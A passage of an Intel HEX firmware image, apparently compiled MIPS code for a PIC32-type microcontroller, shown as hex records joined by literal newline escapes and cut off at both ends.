00021200000e6bb400f0000000056\n:10b9c0003000c2a37f6e400b00000000029d023ccd\n:10b9d000c4f4442419bc400f000000003000c2a38e\n:10b9e0007f6e400b00000000029d023c30ed4424bd\n:10b9f00019bc400f000000003000c2a38800c48fb3\n:10ba0000029d023cdcf4452407000624ae55410f9c\n:10ba10000000000027004014000000008800c28fd2\n:10ba2000070043246000c22721206000029d033ce0\n:10ba3000ccee6524213040000357410f0000000088\n:10ba400021184000010002241500621400000000cb\n:10ba50006000c28fff004230212040005e30410f65\n:10ba6000000000000700401000000000212000003e\n:10ba7000e6bb400f000000003000c2a3ad6e400bdb\n:10ba800000000000029d023cfcee442419bc400f63\n:10ba9000000000003000c2a3ad6e400b00000000ab\n:10baa000029d023c30ed442419bc400f0000000010\n:10bab0003000c2a38800c48f029d023ce4f44524f8\n:10bac000544e410f00000000070040140000000029\n:10bad00021200000e6bb400f000000003000c2a3a0\n:10bae000bc23410f000000008800c48f029d023c6f\n:10baf000ecf4452405000624ae55410f000000007b\n:10bb0000360040140000000000a0023c7c6c40a005\n:10bb10006000c0af8800c28f050043246000c227c8\n:10bb200021206000029d033c5ced652400a0033ce5\n:10bb30007c6c6624213840000357410f0000000050\n:10bb4000030042280800401400000000029d023c4f\n:10bb500030ed442419bc400f000000003000c2a3a7\n:10bb6000f76e400b000000006000c28f21204000f3\n:10bb700000a0023cdc24452400a0023c7c6c46244e\n:10bb8000be51410f000000000f00401000000000f7\n:10bb900001000424e6bb400f000000003000c2a3f7\n:10bba000029d023c64ed442400a0023cdc244524b8\n:10bbb0000413410f000000004015410f0000000079\n:10bbc000f76e400b00000000029d023cf4f4442498\n:10bbd00019bc400f000000003000c2a38800c48fd1\n:10bbe000029d023c04f54524544e410f0000000024\n:10bbf0000d0040140000000001000424e6bb400fcb\n:10bc0000000000003000c2a3029d023c64ed442409\n:10bc1000029d023c0cf545240413410f0000000076\n:10bc20004015410f000000008800c48f029d023cb7\n:10bc300014f54524544e410f000000000900401443\n:10bc40000000000001000424e6bb400f00000000db\n:10bc50003000c2a30c2b410f000000004015410f23\n:10bc6000000000008800c48f029d023c1cf54524a2\n:10bc700007000624ae55410f0000000043004014a9\n:10bc8000000000008800c28f070044245800c3272a\n:10bc90006400c227029d053c24f5a52421306000e4\n:10bca000213840000357410f0000000021184000d8\n:10bcb0000200022405006214000000005800c39333\n:10bcc0004800022405006210000000005800c393e1\n:10bcd0004c0002242800621400000000496f400b51\n:10bce000000000005800c293480042382b100200a8\n:10bcf000ff0042302120400000a0023c7c6c452423\n:10bd00008c2a410f00000000ff0042305800c2a3ff\n:10bd10005800c29303004010000000004e6f400b1b\n:10bd2000000000006400c28fffff43246400c3af23\n:10bd3000ecff4014000000005800c29308004010bf\n:10bd400000000000029d023c2cf5442419bc400f69\n:10bd5000000000003000c2a3636f400b0000000031\n:10bd600021200000e6bb400f000000003000c2a30d\n:10bd7000636f400b00000000029d023c44f5442428\n:10bd800019bc400f000000003000c2a38800c48f1f\n:10bd9000029d023c58f5452407000624ae55410f8c\n:10bda0000000000044004014000000008800c28f22\n:10bdb000070044245800c3276400c227029d053ca5\n:10bdc00024f5a52421306000213840000357410f9d\n:10bdd0000000000021184000020002240500621447\n:10bde000000000005800c3934800022405006210c0\n:10bdf000000000005800c3934c0002242900621484\n:10be000000000000946f400b000000005800c29337\n:10be1000480042382b100200ff0042302120400031\n:10be20002128000000a0023c7c6c46246c2a410fb3\n:10be300000000000ff0042305800c2a35800c29327\n:10be40000300401000000000996f400b000000004c\n:10be50006400c28fffff43246400c3afebff4014b4\n:10be6000000000005800c2930800401000000000cd\n:10be7000029d023c60f5442419bc400f0000000004\n:10be80003000c2a3ae6f400b000000002120000074\n:10be9000e6bb400f000000003000c2a3ae6f400bb5\n:10bea00000000000029d023c78f5442419bc400fbc\n:10beb000000000003000c2a38800c48f029d023c35\n:10bec0008cf5452407000624ae55410f0000000004\n:10bed00038004014000000008800c28f070044248e\n:10bee0005800c3276400c227029d053c24f5a52401\n:10bef00021306000213840000357410f000000004e\n:10bf00002118400002000224050062140000000015\n:10bf10005800c3934800022405006210000000008e\n:10bf20005800c3934c0002241d006214000000005e\n:10bf30005800c293480042382b100200ff004230e4\n:10bf4000211840006400c28f2120600021280000d9\n:10bf50002130400000a0023c7c6c4724dc2a410fc9\n:10bf60000000000007004014000000002120000035\n:10bf7000e6bb400f000000003000c2a3ed6f400b95\n:10bf800000000000029d023c94f5442419bc400fbf\n:10bf9000000000003000c2a3ed6f400b0000000065\n:10bfa000029d023ca4f5442419bc400f000000008f\n:10bfb0003000c2a38800c48f029d023cb8f545241e\n:10bfc00009000624ae55410f00000000380040145f\n:10bfd000000000008800c28f090044245800c327d5\n:10bfe0006400c227029d053c24f5a5242130600091\n:10bff000213840000357410f000000002118400085\n:10c000000200022405006214000000005800c393df\n:10c010004800022405006210000000005800c3938d\n:10c020004c0002241d006214000000005800c2935e\n:10c03000480042382b100200ff0042302118400017\n:10c040006400c28f212060000100052421304000df\n:10c0500000a0023c7c6c4724dc2a410f0000000059\n:10c06000070040140000000021200000e6bb400f44\n:10c07000000000003000c2a32c70400b0000000044\n:10c08000029d023c94f5442419bc400f00000000be\n:10c090003000c2a32c70400b00000000029d023c47\n:10c0a000a4f5442419bc400f000000003000c2a3d6\n:10c0b0008800c48f029d023cc4f545240800062474\n:10c0c000ae55410f00000000420040140000000087\n:10c0d0008800c28f080044245800c3275c00c22790\n:10c0e000029d053cd0f5a524213060002138400098\n:10c0f0000357410f000000002118400002000224f5\n:10c1000005006214000000005800c3934800022498\n:10c1100005006210000000005800c3934c00022488\n:10c1200027006214000000005c00c38f029d023ce7\n:10c13000212060006836458c8746410f00000000d2\n:10c1400021204000dc54410f000000006400c2af19\n:10c150005800c293480042382b100200ff004230c2\n:10c16000211840006400c28f2120600021280000b7\n:10c170002130400000a0023c7c6c4724dc2a410fa7\n:10c180000000000007004014000000002120000013\n:10c19000e6bb400f000000003000c2a37570400bea\n:10c1a00000000000029d023c94f5442419bc400f9d\n:10c1b000000000003000c2a37570400b00000000ba\n:10c1c000029d023ca4f5442419bc400f000000006d\n:10c1d0003000c2a38800c48f029d023cd8f54524dc\n:10c1e00005000624ae55410f000000003400401445\n:10c1f000000000008800c28f050042246000c327b1\n:10c200001000a3af6400c3271400a3af6800c327c6\n:10c210001800a3af21204000029d023ce0f5452418\n:10c2200000a0023c7c6c4624e48087270357410f22\n:10c230000000000021184000050002241b006214c9\n:10c2400000000000e480858f6000c38f6400c28f0f\n:10c250006800c48f1000a4af00a0043c7c6c842450\n:10c2600021306000213840008107410f00000000ac\n:10c27000070040100000000021200000e6bb400f36\n:10c28000000000003000c2a3b070400b00000000ae\n:10c29000029d023c20ed442419bc400f0000000028\n:10c2a0003000c2a3b070400b00000000029d023cb1\n:10c2b00030ed442419bc400f000000003000c2a340\n:10c2c0008800c48f029d023cf0f54524040006243a\n:10c2d000ae55410f00000000360040140000000081\n:10c2e0008800c28f040044246000c3276400c22772\n:10c2f0006800c5271000a5af6c00c5271400a5afc6\n:10c300007000c5271800a5af7400c5271c00a5af95\n:10c310007800c5272000a5af7c00c5272400a5af65\n:10c32000029d053cf8f5a52421306000213840002d\n:10c330000357410f000000002118400008000224ac\n:10c3400017006214000000006000c48f6400c58ff5\n:10c350006800c38f6c00c28f7000c98f7400c88fd3\n:10c360007800c78f7c00c68f1000a9af1400a8af5b\n:10c370001800a7af1c00a6af213060002138400094\n:10c38000d63b410f0000000021200000e6bb400f1b\n:10c39000000000003000c2a3ed70400b0000000060\n:10c3a000029d023c30ed442419bc400f0000000007\n:10c3b0003000c2a38800c48f029d023c10f64524c1\n:10c3c00005000624ae55410f00000000a5004014f2\n:10c3d000000000008800c28f050044246000c327cd\n:10c3e0006400c227029d053c50eea5242130600068\n:10c3f000213840000357410f000000006800c2af21\n:10c400006800c28f05004010000000006800c38f64\n:10c410000100022405006210000000006800c38fc4\n:10c42000020002248a006214000000006800c38f2a\n:10c430000100022403006214000000006000c28fab\n:10c440006400c2af00a0023cdc5642248700439047\n:10c4500000a0023cd8574290080062100000000083\n:10c46000029d023c18f6442419bc400f0000000055\n:10c470003000c2a39271400b0000000000a0023cfb\n:10c48000dc564224b400428cffff43246000c28f7c\n:10c490002b106200090040140000000000a0023cc4\n:10c4a000dc564224b400428cffff43246400c28f58\n:10c4b0002b1062000800401000000000029d023caa\n:10c4c00068ef442419bc400f000000003000c2a3f4\n:10c4d0009271400b0000000000a0023cd85742249b\n:10c4e0000412428c821802006000c28f18006200a1\n:10c4f000121000000002432400a0023cd85742243e\n:10c5000021106200030044246000c38f6400c28fc6\n:10c510002128600021304000a444410f00000000a9\n:10c520000800401400000000029d023c84ef4424f7\n:10c5300019bc400f000000003000c2a39271400bf4\n:10c540000000000001000424e6bb400f00000000d2\n:10c550003000c2a300a0023cdc564224b800428c4a\n:10c560008218020000a0023c7c6c42242110620070\n:10c57000000040a06000c28f3400c2af8571400b44\n:10c5800000000000029d023c94ef44243400c58f5b\n:10c590006913410f0000000000a0023cdc56422459\n:10c5a000b800428c821802003400c28f180062006a\n:10c5b000122000000002832400a0023cd85742242d\n:10c5c000211062000300432400a0023cdc564224f8\n:10c5d000b800428c8210020000a0043c7c6c8424d1\n:10c5e0002128600021304000214b410f0000000055\n:10c5f000029d023c64ed442400a0023c7c6c452476\n:10c600000413410f000000003400c28f01004224d7\n:10c610003400c2af6400c28f3400c38f2b104300bc\n:10c62000d8ff401000000000029d023c3cec442476\n:10c63000029d023c48ed45240413410f0000000018\n:10c640009971400b000000009971400b0000000040\n:10c65000029d023c9cef442419bc400f00000000e6\n:10c660003000c2a38800c48f029d023c30f64524ee\n:10c67000544e410f00000000340040140000000040\n:10c6800000a0023cdc56422487004290080040147f\n:10c6900000000000029d023c38f6442419bc400f03\n:10c6a000000000003000c2a3d371400b0000000066\n:10c6b00001000424e6bb400f000000003000c2a3cc\n:10c6c000cb71400b0000000000a0023cdc5642246d\n:10c6d0008700429000a0033cdc2464242128400011\n:10c6e000ec2d410f0000000007004010000000008a\n:10c6f000029d023c64ed442400a0023cdc2445245d\n:10c700000413410f0000000088bf023c2061428cee\n:10c71000040042300100422cff00443088bf033c3b\n:10c72000206162948410827c206162a42b15410fe9\n:10c7300000000000e4ff4010000000004015410f21\n:10c7400000000000c40c410f000000008800c48fee\n:10c75000029d023c4cf64524544e410f000000005f\n:10c760000b0040140000000021200000e6bb400f39\n:10c77000000000003000c2a30f00023c40424434dd\n:10c78000240e410f00000000fc54410f0000000087\n:10c790008800c48f029d023c54f64524544e410f3c\n:10c7a00000000000390040140000000001000424d3\n:10c7b000e6bb400f000000003000c2a380bf023c77\n:10c7c0002002428c4800c2af80bf023c2002428c53\n:10c7d0004c00c2af4800c38f4c00c28ff7ff6214f9\n:10c7e000000000004800c28f308282af80bf023c50\n:10c7f0003002428c5000c2af80bf023c3002428cfb\n:10c800005400c2af5000c38f5400c28ff7ff6214b0\n:10c81000000000005000c28f2c8282af2f828293d2\n:10c82000211840002e8282932d828493213880002b\n:10c8300033828493213080003282849321288000c7\n:10c84000318284931000a7af1400a6af1800a5afe3\n:10c850001c00a4af00a0043c5c458424029d053c60\n:10c8600058f6a5242130600021384000e455410fde\n:10c8700000000000029d023c64ed442400a0023c44\n:10c880005c4545240413410f000000008800c48f5c\n:10c89000029d023c78f6452404000624ae55410f63\n:10c8a0000000000048004014000000008800c28f13\n:10c8b0000400422421204000029d023c3cec45241f\n:10c8c00000a0023c7c6c46240357410f000000008e\n:10c8d000211840000100022436006214000000000c\n:10c8e00000a0023c7c6c44247b4b410f0000000004\n:10c8f00000a0033cdc5663249c00688c00a0033c31\n:10c90000dc566324ec00678c00a0033cdc566324f7\n:10c91000f000668c00a0033cdc566324e400658cc8\n:10c9200000a0033cdc566324e800648c00a0033cb8\n:10c93000dc566324e000638c040009241000a9afd6\n:10c940001400a8af1800a7af1c00a6af2000a5af29\n:10c950002400a4af2800a3af2c00a0af00a0033c8c\n:10c960007c6c642421284000010006240100072477\n:10c97000023c410f000000000700401000000000d2\n:10c9800021200000e6bb400f000000003000c2a3e1\n:10c990007272400b00000000029d023c80f64424ad\n:10c9a00019bc400f000000003000c2a37272400b9f\n:10c9b00000000000029d023c30ed442419bc400ff1\n:10c9c000000000003000c2a38800c48f029d023c1a\n:10c9d000b0f64524544e410f0000000010004014f2\n:10c9e000000000007923410f000000000700401004\n:10c9f0000000000021200000e6bb400f0000000006\n:10ca00003000c2a38872400b00000000029d023c6f\n:10ca1000b8f6442419bc400f000000003000c2a347\n:10ca20008800c48f029d023cc8f6452406000624f7\n:10ca3000ae55410f0000000033004014000000001c\n:10ca400000a0023c7c6c40a08800c28f06004324fa\n:10ca50006000c22721206000029d033c3cec65245d\n:10ca600000a0033c7c6c6624213840000357410f32\n:10ca700000000000020042281e00401000000000dc\n:10ca800000a0023cdc24442400a0023c7c6c452431\n:10ca90004253410f000000000f0040100000000052\n:10caa00001000424e6bb400f000000003000c2a3d8\n:10cab000029d023c64ed442400a0023cdc24452499\n:10cac0000413410f000000004015410f000000005a\n:10cad000c272400b00000000029d023cd0f64424cc\n:10cae00019bc400f000000003000c2a3c272400b0e\n:10caf00000000000029d023c30ed442419bc400fb0\n:10cb0000000000003000c2a38800c48f029d023cd8\n:10cb1000e0f64524544e410f000000000800401488\n:10cb20000000000000a0023cdc564224c40040acdf\n:10cb300021200000e6bb400f000000003000c2a32f\n:10cb40008800c48f029d023cf0f64524544e410fec\n:10cb5000000000000c0040140000000000a0023c97\n:10cb6000dc56422401000324c40043ac00a0023c74\n:10cb7000dc564224cc0040ac21200000e6bb400f34\n:10cb8000000000003000c2a38800c48f029d023c58\n:10cb900000f7452409000624ae55410f00000000af\n:10cba0001d004014000000008800c28f09004324cb\n:10cbb0006000c22721206000029d033c0cf7652421\n:10cbc000213040000357410f0000000021184000b1\n:10cbd000010002240b006214000000006000c38ffb\n:10cbe00000a0023cdc564224b00043ac21200000ef\n:10cbf000e6bb400f000000003000c2a30673400bec\n:10cc000000000000029d023c10f7442419bc400fb4\n:10cc1000000000003000c2a38800c48f029d023cc7\n:10cc200024f7452407000624ae55410f00000000fc\n:10cc30001c004014000000008800c28f070042243e\n:10cc400021204000029d023c60ee4524e4808627be\n:10cc50000357410f0000000021184000010002248a\n:10cc60000b00621400000000e480838f00a0023cef\n:10cc7000dc5642249c0043ac21200000e6bb400f60\n:10cc8000000000003000c2a32973400b0000000028\n:10cc9000029d023c2cf7442419bc400f0000000008\n:10cca0003000c2a38800c48f029d023c40f7452497\n:10ccb000544e410f00000000080040140000000026\n:10ccc00000a0023cdc564224c80040ac21200000f9\n:10ccd000e6bb400f000000003000c2a38800c48ff4\n:10cce000029d023c50f74524544e410f00000000c5\n:10ccf000090040140000000000a0023cdc56422461\n:10cd000001000324c80043ac21200000e6bb400f13\n:10cd1000000000003000c2a38800c48f029d023cc6\n:10cd200060f74524544e410f0000000008004014f5\n:10cd30000000000000a0023cdc564224cc0040acc5\n:10cd400021200000e6bb400f000000003000c2a31d\n:10cd50008800c48f029d023c74f74524544e410f55\n:10cd6000000000000c0040140000000000a0023c85\n:10cd7000dc56422401000324cc0043ac00a0023c5a\n:10cd8000dc564224c40040ac21200000e6bb400f2a\n:10cd9000000000003000c2a38800c48f029d023c46\n:10cda00088f7452408000624ae55410f0000000016\n:10cdb0003f004014000000008800c28f0800422499\n:10cdc00021204000029d023c94f74524544e410f1f\n:10cdd000000000000b0040140000000000a0023c16\n:10cde000dc56422401000324a00043a021200000bf\n:10cdf000e6bb400f000000003000c2a3ac73400b44\n:10ce0000000000008800c28f08004224212040005a\n:10ce1000029d023c98f74524544e410f000000004b\n:10ce20000b0040140000000000a0023cdc5642242d\n:10ce300002000324a00043a021200000e6bb400f15\n:10ce4000000000003000c2a3ac73400b00000000e3\n:10ce50008800c28f0800422421204000029d023c2d\n:10ce60009cf74524544e410f000000000b00401475\n:10ce70000000000000a0023cdc5642240400032411\n:10ce8000a00043a021200000e6bb400f00000000ee\n:10ce90003000c2a3ac73400b00000000029d023cb6\n:10cea000a4f7442419bc400f000000003000c2a3c6\n:10ceb0008800c48f029d023cc0f745240800062468\n:10cec000ae55410f000000001c004014000000009f\n:10ced0008800c28f0800422421204000029d023cad\n:10cee00060ee4524e48086270357410f00000000d0\n:10cef00021184000010002240b0062140000000011\n:10cf0000e480838f00a0023cdc564224880043acbe\n:10cf100021200000e6bb400f000000003000c2a34b\n:10cf2000cf73400b00000000029d023c10f7442428\n:10cf300019bc400f000000003000c2a38800c48f5d\n:10cf4000029d023cccf7452409000624ae55410f52\n:10cf5000000000001d004014000000008800c28f87\n:10cf6000090043246000c22721206000029d033c89\n:10cf70000cf76524213040000357410f00000000ea\n:10cf800021184000010002240b0062140000000080\n:10cf90006000c38f00a0023cdc564224a40043acd6\n:10cfa00021200000e6bb400f000000003000c2a3bb\n:10cfb000f373400b00000000029d023cd8f74424ac\n:10cfc00019bc400f000000003000c2a38800c48fcd\n:10cfd000029d023cecf745240b000624ae55410fa0\n:10cfe000000000001d004014000000008800c28ff7\n:10cff0000b0043246000c22721206000029d033cf7\n:10d000000cf76524213040000357410f0000000059\n:10d0100021184000010002240b00621400000000ef\n:10d020006000c38f00a0023cdc564224d40043ac15\n:10d0300021200000e6bb400f000000003000c2a32a\n:10d040001774400b00000000029d023cf8f74424d6\n:10d0500019bc400f000000003000c2a38800c48f3c\n:10d06000029d023c10f8452409000624ae55410fec\n:10d07000000000001d004014000000008800c28f66\n:10d08000090043246000c22721206000029d033c68\n:10d090000cf76524213040000357410f00000000c9\n:10d0a00021184000010002240b006214000000005f\n:10d0b0006000c38f00a0023cdc564224a80043acb1\n:10d0c00021200000e6bb400f000000003000c2a39a\n:10d0d0003b74400b00000000029d023cd8f7442442\n:10d0e00019bc400f000000003000c2a38800c48fac\n:10d0f000029d023c1cf8452409000624ae55410f50\n:10d10000000000001d004014000000008800c28fd5\n:10d11000090043246000c22721206000029d033cd7\n:10d120000cf76524213040000357410f0000000038\n:10d1300021184000010002240b00621400000000ce\n:10d140006000c38f00a0023cdc564224ac0043ac1c\n:10d1500021200000e6bb400f000000003000c2a309\n:10d160005f74400b00000000029d023cd8f744248d\n:10d1700019bc400f000000003000c2a38800c48f1b\n:10d18000029d023c28f845240d000624ae55410faf\n:10d190000000000020004014000000008800c28f42\n:10d1a0000d0043246000c22721206000029d033c43\n:10d1b0000cf76524213040000357410f00000000a8\n:10d1c00021184000010002240c006214000000003d\n:10d1d0006000c28fff00433000a0023cdc564224b6\n:10d1e000bc0043a021200000e6bb400f000000006f\n:10d1f0003000c2a3b274400b00000000029d023c4c\n:10d2000038f8442419bc400f000000003000c2a3cd\n:10d21000b274400b000000008800c48f029d023ce5\n:10d2200050f8452408000624ae55410f00000000c8\n:10d2300025004014000000008800c28f080044242c\n:10d240006000c3276400c227029d053c5cf8a5244a\n:10d2500021306000213840000357410f00000000da\n:10d260002118400002000224120062140000000095\n:10d270006000c28f0400422c0e004010000000002d\n:10d280006000c48f6400c28fff00433000a0023ce6\n:10d29000dc56422421108200bd0043a02120000062\n:10d2a000e6bb400f000000003000c2a3b274400b88\n:10d2b00000000000029d023c64f8442419bc400fa9\n:10d2c000000000003000c2a38800c48f029d023c11\n:10d2d00078f8452408000624ae55410f00000000f0\n:10d2e00019004014000000008800c28f080042248a\n:10d2f0002120400036bf400f000000005800c2a3ac\n:10d300005800c2930b004010000000005800c29368\n:10d31000212040008fc0400f0000000021200000ad\n:10d32000e6bb400f000000003000c2a3d274400be7\n:10d3300000000000029d023c84f8442419bc400f08\n:10d34000000000003000c2a38800c48f029d023c90\n:10d3500098f8452409000624ae55410f000000004e\n:10d3600013004014000000008800c28f090042240e\n:10d370002120400007e8400f000000000700401097\n:10d380000000000021200000e6bb400f000000006c\n:10d390003000c2a3ec74400b00000000029d023c70\n:10d3a00084f8442419bc400f000000003000c2a3e0\n:10d3b0008800c48f029d023ca4f84524544e410fbe\n:10d3c00000000000280040140000000001000424b8\n:10d3d000e6bb400f000000003000c2a3029d023ceb\n:10d3e0003cec4424029d023cacf845240413410f5c\n:10d3f0000000000001000224848082af1175400b00\n:10d400000000000000a0023cdc564224870042904d\n:10d4100000a0033cdc24642421284000ec2d410fb3\n:10d42000000000000700401000000000029d023cc8\n:10d4300064ed442400a0023cdc2445240413410f85\n:10d44000000000002b15410f00000000edff401010\n:10d45000000000004015410f00000000c40c410f07\n:10d4600000000000848080af8800c48f029d023cd1\n:10d47000ccf845240b000624ae55410f00000000f7\n:10d480000900401400000000d1b4400f000000006b\n:10d4900021200000e6bb400f000000003000c2a3c6\n:10d4a0008275400b000000008800c48f029d023c82\n:10d4b000d8f845240b000624ae55410f00000000ab\n:10d4c0000b0040140000000005b5400f00000000f4\n:10d4d00021200000e6bb400f000000003000c2a386\n:10d4e0004015410f000000008275400b0000000055\n:10d4f0008800c48f029d023ce4f845240b000624fa\n:10d50000ae55410f00000000110040140000000063\n:10d5100001000224d68082a30c00042421280000ec\n:10d5200064000624213800005b15410f0000000054\n:10d5300021200000e6bb400f000000003000c2a325\n:10d540004015410f000000008275400b00000000f4\n:10d550008800c48f029d023cf0f84524090006248f\n:10d56000ae55410f000000002700401400000000ed\n:10d57000d68080a36000c0af6400c0af6800c0afb9\n:10d580008800c28f090044246000c3276400c227ba\n:10d590006800c5271000a5af029d053cfcf8a52436\n:10d5a00021306000213840000357410f0000000087\n:10d5b00001000424e6bb400f000000003000c2a3bd\n:10d5c000029d023c3cec4424029d023c08f94524a7\n:10d5d0000413410f000000006000c48f6400c58f79\n:10d5e0006800c38f6800c28f2b100200ff0042301a\n:10d5f00021306000213840005b15410f0000000021\n:10d600004015410f000000008800c48f029d023cbd\n:10d610003cf94524544e410f00000000070040141f\n:10d620000000000021200000e6bb400f00000000c9\n:10d630003000c2a3c40c410f000000008800c48f5a\n:10d64000029d023c44f94524544e410f0000000065\n:10d65000090040140000000001000424e6bb400f54\n:10d66000000000003000c2a306bf400f0000000011\n:10d670004015410f000000008800c48f029d023c4d\n:10d680004cf94524544e410f000000005100401455\n:10d690000000000000a0023cdc56422487004290bb\n:10d6a0000800401400000000029d023cc0ef44242a\n:10d6b00019bc400f000000003000c2a3f575400bfc\n:10d6c0000000000000a0023cdc564224870042908b\n:10d6d0006000c32721206000212840004125410f20\n:10d6e000000000000800401400000000029d023c01\n:10d6f00054f9442419bc400f000000003000c2a3bc\n:10d70000f575400b0000000000a0023cdc564224ee\n:10d710008700429000a0033c7c6c642421284000d8\n:10d720001126410f000000002500401000000000fd\n:10d7300000a0023cdc5642248700429000a0033c3b\n:10d740007c6d6424212840003126410f0000000038\n:10d7500000a0023cdc5642248700429000a0033c1b\n:10d760007c6e6424212840005126410f00000000f7\n:10d7700001000424e6bb400f000000003000c2a3fb\n:10d7800000a0023cdc5642248700429000a0033ceb\n:10d790007c6c642400a0033c7c6d652400a0033ce9\n:10d7a0007c6e662421384000af26410f0000000047\n:10d7b0004015410f00000000f575400b000000000f\n:10d7c000029d023c84ef442419bc400f000000007d\n:10d7d0003000c2a38800c48f029d023c78f9452422\n:10d7e000544e410f000000003800401400000000bb\n:10d7f00001000424e6bb400f000000003000c2a37b\n:10d80000029d023c3cec4424029d023c84f94524e8\n:10d810000413410f00000000c403410f000000008a\n:10d820004400c2af4400c28f050040100000000059\n:10d83000029d023cb8f942241276400b0000000021\n:10d84000029d023cc0f94224029d033cc8f96424b5\n:10d85000212840000413410f0000000001000424af\n:10d860008803410f000000004400c2af029d023c4b\n:10d87000f0f944244400c58f6913410f00000000f3\n:10d880005a03410f000000004400c2af029d023c59\n:10d8900020fa44244400c58f6913410f00000000a2\n:10d8a000e80304248803410f000000004400c2afd5\n:10d8b000029d023c54fa44244400c58f6913410f71\n:10d8c000000000004015410f000000008800c48fd8\n:10d8d000029d023c8cfa452408000624ae55410ff7\n:10d8e00000000000160040140000000001000424a5\n:10d8f000e6bb400f000000003000c2a300a0023cc5\n:10d900007c6c40a08800c28f080042242120400087\n:10d91000029d023c3cec452400a0023c7c6c462469\n:10d920000357410f0000000000a0023c7c6c44241f\n:10d930008d3c410f000000004015410f0000000029\n:10d940008800c48f029d023c98fa4524544e410f32\n:10d95000000000002400401400000000fdeb400f18\n:10d96000000000001b004010000000000100042423\n:10d97000e6bb400f000000003000c2a3029d023c45\n:10d980003cec4424029d023ca0fa45240413410fc0\n:10d99000000000006880829300a0033cf417642418\n:10d9a0002128400091b9400f00000000029d023c78\n:10d9b0003cec4424029d023c48ed45240413410ff5\n:10d9c000000000004015410f000000007a76400b77\n:10d9d00000000000029d023c4ced442419bc400fa5\n:10d9e000000000003000c2a38800c48f029d023cea\n:10d9f000a8fa4524544e410f0000000014004014c2\n:10da000000000000d48082930100422cff004230cd\n:10da100021204000eb45410f0000000007004010ae\n:10da20000000000021200000e6bb400f00000000c5\n:10da30003000c2a39476400b00000000029d023c1f\n:10da40004ced442419bc400f000000003000c2a37c\n:10da50008800c48f029d023cb0fa4524544e410f09\n:10da60000000000009004014000000000100042430\n:10da7000e6bb400f000000003000c2a30c0d410fb8\n:10da8000000000004015410f000000008800c48f16\n:10da9000029d023cbcfa4524544e410f0000000098\n:10daa00013004014000000002120000099f8400fee\n:10dab00000000000f5f7400f0000000007004010d4\n:10dac0000000000021200000e6bb400f0000000025\n:10dad0003000c2a3bc76400b00000000029d023c57\n:10dae0004ced442419bc400f000000003000c2a3dc\n:10daf0008800c48f029d023cccfa45241200062403\n:10db0000ae55410f000000003e0040140000000030\n:10db10006000c0af8800c28f120043246000c2279b\n:10db200021206000029d033cbcec652421304000b4\n:10db30000357410f00000000020042282c00401053\n:10db4000000000006000c28f0500422c2800401039\n:10db50000000000001000424e6bb400f00000000ac\n:10db60003000c2a300a0023cdc5642249000428c4c\n:10db7000060040100000000000a0023cdc564224d9\n:10db80009400428c08004014000000006000c28f26\n:10db9000ff00423021204000dff4400f0000000071\n:10dba000ef76400b000000006000c28fff004230a3\n:10dbb000212040003cf6400f00000000029d023c86\n:10dbc000e0fa442400a0023cdc2445240413410f65\n:10dbd0000000000000a0023cdc2440a0d08080af08\n:10dbe0004015410f000000000177400b00000000cd\n:10dbf000029d023cecfa442419bc400f00000000d6\n:10dc00003000c2a38800c48f029d023c00fb452463\n:10dc100006000624ae55410f000000003e004014ef\n:10dc20000000000000a0023cdc5642248700429025\n:10dc30000800401400000000029d023cc0ef442494\n:10dc400019bc400f000000003000c2a34677400b13\n:10dc50000000000000a0023cdc56422487004290f5\n:10dc60006000c32721206000212840004125410f8a\n:10dc7000000000000800401400000000029d023c6b\n:10dc800054f9442419bc400f000000003000c2a326\n:10dc90004677400b0000000000a0023c7c6c40a0d6\n:10dca0008800c28f0600422421204000029d023cd1\n:10dcb00008fb452400a0023c7c6c46240357410f1e\n:10dcc0000000000000a0023cdc5642248700429085\n:10dcd0002120400000a0023c7c6c452425c6400f5a\n:10dce000000000000700401000000000212000009c\n:10dcf000e6bb400f000000003000c2a34677400b97\n:10dd000000000000029d023c0cfb442419bc400fa3\n:10dd1000000000003000c2a38800c48f029d023cb6\n:10dd20001cfb4524544e410f000000000e0040141f\n:10dd30000000000021200000e6bb400f00000000b2\n:10dd40003000c2a388bf033c206162940100042418\n:10dd5000444a827c206162a488bf033ca061629433\n:10dd6000444a027ca06162a48800c48f029d023ce8\n:10dd70002cfb4524544e410f0000000009004014c4\n:10dd80000000000021200000e6bb400f0000000062\n:10dd90003000c2a388bf033c20616294444a027ce5\n:10dda000206162a48800c48f029d023c38fb452498\n:10ddb00005000624ae55410f000000002d00401460\n:10ddc0000000000000a0023cdc5642248700429084\n:10ddd0000800401400000000029d023cc0ef4424f3\n:10dde00019bc400f000000003000c2a39d77400b1b\n:10ddf0000000000000a0023c7c6c40a08800c28fa4\n:10de00000500422421204000029d023c08fb4524dd\n:10de100000a0023c7c6c46240357410f0000000028\n:10de200000a0023cdc5642248700429021204000a2\n:10de300000a0023c7c6c45246ec6400f0000000030\n:10de4000070040100000000021200000e6bb400f4a\n:10de5000000000003000c2a39d77400b00000000ce\n:10de6000029d023c0cfb442419bc400f0000000042\n:10de70003000c2a38800c48f029d023c40fb4524b1\n:10de8000544e410f000000002a0040140000000022\n:10de900000a0023cdc564224870042900800401457\n:10dea00000000000029d023cc0ec442419bc400f5d\n:10deb000000000003000c2a3cd77400b000000003e\n:10dec00000a0023cdc5642248700429000a0033ca4\n:10ded000dc24642421284000ec2d410f00000000c8\n:10dee0000f0040100000000001000424e6bb400fba\n:10def000000000003000c2a3029d023c64ed4424f7\n:10df000000a0023cdc2445240413410f0000000063\n:10df10004015410f00000000cd77400b00000000cd\n:10df2000029d023cf8f3442419bc400f000000009d\n:10df30003000c2a38800c48f029d023c44fb4524ec\n:10df4000544e410f000000000c004014000000007f\n:10df500001000424e6bb400f000000003000c2a313\n:10df6000029d023c4cfb4424cb0005246913410f65\n:10df7000000000004015410f000000008800c48f21\n:10df8000029d023c58fb4524544e410f0000000006\n:10df9000090040140000000001000424e6bb400f0b\n:10dfa000000000003000c2a31fe7400f0000000087\n:10dfb0004015410f000000008800c48f029d023c04\n:10dfc00060fb452407000624ae55410f0000000009\n:10dfd00032004014000000008800c28f0700432474\n:10dfe0006000c22721206000029d033c68fb65247d\n:10dff0002130400000a0023c7c6c47240357410fb5\n:10e000000000000021184000020002241e006214db\n:10e01000000000006000c28f2120400000a0023cf0\n:10e020007c6c45244ceb400f000000000f004010ba\n:10e030000000000001000424e6bb400f00000000c7\n:10e040003000c2a3029d023c64ed442400a0023cc7\n:10e050007c6c45240413410f000000004015410f63\n:10e06000000000002778400b00000000029d023ce9\n:10e0700070fb442419bc400f000000003000c2a314\n:10e080002778400b00000000029d023c84fb4424e2\n:10e0900